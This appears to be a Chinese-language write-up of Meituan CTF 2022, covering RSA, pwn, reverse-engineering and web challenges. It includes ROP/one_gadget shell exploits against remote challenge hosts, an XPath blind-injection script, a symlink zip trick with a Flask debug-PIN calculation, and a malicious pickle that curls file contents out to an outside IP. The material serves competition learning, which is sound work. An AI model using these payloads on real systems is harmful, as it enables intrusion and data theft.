美团CTF2022-Writeup
字数 1023 2025-08-06 18:07:42
美团CTF2022 Writeup 详细解析
0x01 Crypto
strange_rsa1
题目分析:
- 给定n, c, gift
- gift与n相乘开方可以得到p
解题步骤:
- 使用gift计算p:
p = sqrt(gift * n) - 计算q = n / p
- 计算欧拉函数φ(n) = (p-1)*(q-1)
- 计算私钥d = invert(e, φ(n))
- 解密m = powmod(c, d, n)
关键代码:
import gmpy2
from Crypto.Util.number import *
e = 65537
n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
p = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
q = 10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369
L = (p-1)*(q-1)
d = gmpy2.invert(e,int(L))
m = gmpy2.powmod(c,d,n)
x = long_to_bytes(m).decode()
print(x)
#flag{a5537b232c1ab750e0db61ec352504a301b7b212}
0x02 PWN
note
漏洞分析:
- edit函数存在idx的负数溢出
- 当idx = -4时可以写edit的返回地址
利用步骤:
- 第一次泄露libc地址
- 第二次使用one gadget获取shell
关键exp:
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
mode = 0
if mode == 1:
fang = process("./note")
else:
fang = remote("39.106.133.19",31828)
elf = ELF("./note")
libc = ELF("./libc-2.31.so")
def debug():
gdb.attach(fang)
pause()
def alloc(size,cont):
fang.recvuntil("5. leave\n")
fang.sendline(str(1))
fang.recvuntil("Size: ")
fang.sendline(str(size))
fang.recvuntil("Content: ")
fang.send(cont)
def dele(idx):
fang.recvuntil("5. leave\n")
fang.sendline(str(4))
fang.recvuntil("Index: ")
fang.sendline(str(idx))
def show(idx):
fang.recvuntil("5. leave\n")
fang.sendline(str(2))
fang.recvuntil("Index: ")
fang.sendline(str(idx))
def edit(idx,cont):
fang.recvuntil("5. leave\n")
fang.sendline(str(3))
fang.recvuntil("Index: ")
fang.sendline(str(idx))
fang.recvuntil("Content: ")
fang.send(cont)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x00000000004017b3 # : pop rdi ; ret
main_addr = 0x401150
alloc(0x40,'aaaaaaaa') # 0
alloc(0x40,'aaaaaaaa') # 1
alloc(0x40,'aaaaaaaa') # 2
dele(1)
payload = b'a' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
edit(-4,payload)
puts_addr = u64(fang.recv(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
one_gadget3 = [0xe3afe,0xe3b01,0xe3b04]
one_gadget_addr = libc_base + one_gadget3[1]
pop_rdx_ret = libc_base + 0x0000000000142c92 # : pop rdx ; ret
alloc(0x50,'aaaaaaaa') # 0
alloc(0x50,'aaaaaaaa') # 1
alloc(0x50,'aaaaaaaa') # 2
dele(1)
payload = b'a' * 8
payload += p64(pop_rdx_ret) + p64(0) + p64(one_gadget_addr) + p64(main_addr)
edit(-4,payload)
log.info("puts_addr : 0x%x" % puts_addr)
log.info("libc_base : 0x%x" % libc_base)
log.info("bin_sh_addr : 0x%x" % bin_sh_addr)
fang.interactive()
捉迷藏
漏洞分析:
- 64位程序,只开了NX保护
- main函数中1066行对v341的读入存在溢出
利用步骤:
- 逆向分析程序逻辑
- 通过一系列输入判断
- 最后覆盖返回地址为backdoor函数
关键exp:
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
mode = 0
if mode == 1:
fang = process("./pwn")
else:
fang = remote("39.106.27.2",31624)
for i in range(3):
fang.sendline('1000 ')
sleep(0.01)
fang.sendline('1000 ')
sleep(0.01)
for i in range(2):
fang.sendline('1000 ')
sleep(0.01)
fang.sendline('1000 ')
sleep(0.01)
fang.sendline('1000 ')
sleep(0.01)
fang.recvuntil("HuEqdjYtuWo:")
payload = "JlQZtdeJUoYHwWVHWPoRnkWCCzTUIJfxSFyySvunXdHQwaPgqCe"
fang.send(payload)
fang.recvuntil("hbsoMdIRWpYRqvfClb:")
payload = "eRoTxWxqvoHTuwDKOzuPpBLJUNlbfmjvbyOJyZXYAJqkspYTkvatR"
fang.send(payload)
payload = "wLstsZkXukNiHeHyxjklnbIDJBvxCaCTxO"
fang.recvuntil("tfAxpqDQuTCyJw:")
fang.send(payload)
fang.recvuntil("UTxqmFvmLy:")
for i in range(3):
fang.sendline('1000 ')
sleep(0.01)
fang.sendline('9255 ')
fang.sendline('1 ')
for i in range(3):
fang.send('1000 ')
sleep(0.01)
fang.recvuntil("LLQPyLAOGJbnm:")
payload = "\x3c\x7f\xfc\xe2".ljust(0x2a,"\x00")
fang.send(payload)
backdoor = 0x00000000040132C
fang.recvuntil("gRGKqIlcuj:")
payload = b'a' * 0xf + b'b' * 8 + p64(backdoor)
payload = payload.ljust(0x37,b'\x00')
fang.send(payload)
fang.interactive()
0x03 Reverse
small
题目分析:
- 使用TEA加密算法
解密代码:
#include <stdio.h>
#include <stdint.h>
void decrypt(uint32_t *v, uint32_t *k, int r)
{
uint32_t v0 = v[0], v1 = v[1], i; /* set up */
uint32_t delta = 0x67452301, sum = r * 0x67452301; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < r; i++)
{ /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0;
v[1] = v1;
}
int main()
{
uint32_t k[4] = {0x1, 0x23, 0x45, 0x67};
uint32_t v3[] = {0xDE087143, 0xC4F91BD2, 0xDAF6DADC, 0x6D9ED54C, 0x75EB4EE7, 0x5D1DDC04, 0x511B0FD9, 0x51DC88FB};
for (int i = 0; i < 4; i++)
{
decrypt(v3 + i * 2, k, 32);
printf(" %08x %08x", v3[2 * i], v3[2 * i + 1]);
}
puts("");
return 0;
}
static
题目分析:
- 真实逻辑是AES + Unicorn模拟
AES解密代码:
from multiprocessing.util import sub_debug
N_ROUNDS = 10
s_box = (
# AES S-box
# ... (完整S-box定义)
)
inv_s_box = (
# AES逆S-box
# ... (完整逆S-box定义)
)
# AES解密相关函数实现
# ... (完整AES解密函数实现)
key = b'\xc3,\\\xa6\xb5\x80^\x0c\xdb\x8d\xa5z*\xb6\xfe\\'
cipher = bytes.fromhex("AAFEE4E0C3B324164E5BF7139EE1CAA0")
print(decrypt(key, cipher))
Unicorn模拟部分:
- 逻辑运算 + XXTEA算法
XXTEA解密代码:
#include <stdio.h>
#include <stdint.h>
#define DELTA 0xDEADBEEF
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z;
uint32_t sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
v[p] += MX;
z = v[p];
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main()
{
uint32_t v[4] = {0xE0E4FEAA, 0x1624B3C3, 0x13F75B4E, 0xA0CAE19E};
uint32_t const k[4]= {12,34,56,78};
btea(v, -4, k);
printf("解密后的数据:%08x %08x %08x %08x", v[0], v[1], v[2], v[3]);
puts("");
return 0;
}
Z3约束求解:
from z3 import *
s = Solver()
x = [BitVec('x%d' % i, 8) for i in range(16)]
c=[0x35,0x00,0x1b,0x9a,0xb1,0xeb,0x92,0x8d,0x82,0x7f,0xde,0x07,0xb4,0xd0,0x97,0xa4]
dd = enc1(x)
for i in range(16):
s.add(dd[i] == c[i])
print(s.check())
m = s.model()
for i in range(16):
print(hex(m[x[i]].as_long()),end=',')
#flag{2e64949c-d16c-4449-8732-0a0cc24e6667}
0x04 Web
babyjava
漏洞分析:
- XPath注入漏洞
利用步骤:
- 通过XPath注入获取XML结构信息
- 读取flag节点内容
关键exp:
import string
import requests
url="http://eci-2zegwb2qirhal23opwv4.cloudeci1.ichunqiu.com:8888/hello"
def send(payload):
data={
'xpath':payload
}
return requests.post(url=url,data=data)
def getFlag():
res=''
for i in range(43):
for char in string.printable:
payload = f"'or substring((//user[position()=1]/username[position()=2]),{i},1)='{char}' and ''='"
r = send(payload)
if '<p>user1</p>' in r.text:
res+=char
print(res)
break
print('getFlag: '+res)
if __name__ == '__main__':
getFlag()
OnlineUnzip
漏洞分析:
- 符号链接漏洞
- Flask debug pin码破解
利用步骤:
- 创建符号链接读取根目录
- 收集服务器信息计算debug pin码
- 获取交互式shell
关键命令:
# 读任意根目录
ln -s / .a
zip --symlinks root.zip .a
Flask debug pin计算:
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'95532807882',# /sys/class/net/eth0/address
'96cec10d3d9307792745ec3b85c8962019b065577048ffd94233375ed305835825f08ca636839a3cf042ee07df0ef676'
# /etc/machine-id+/proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
easypickle
漏洞分析:
- Python pickle反序列化漏洞
- Flask session伪造
利用步骤:
- 爆破Flask secret key
- 构造恶意pickle数据
- 伪造session发送请求
关键exp:
import base64
opcode = b'''c__builtin__
map
p0
0(S'curl http://175.178.47.228:9999/?q=`cat f*`'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''
print(base64.b64encode(opcode))
# 使用flask-session-cookie-manager生成session
# python3 flask_session_cookie_manager3.py encode -s "d0c0" -t "{'user':'admin','ser_data':'Y19fYnVpbHRpbl9fCm1hcApwMAowKFMnY3VybCBodHRwOi8vMTc1LjE3OC40Ny4yMjg6OTk5OS8/cT1gY2F0IGYqYCcKdHAxCjAoY29zCnN5c3RlbQpnMQp0cDIKMGcwCmcyCoFwMwowY19fYnVpbHRpbl9fCmJ5dGVzCnA0CihnMwp0gS4='}"
工具推荐:
- Flask session爆破工具: https://github.com/Paradoxis/Flask-Unsign
- Flask session管理器: https://github.com/noraj/flask-session-cookie-manager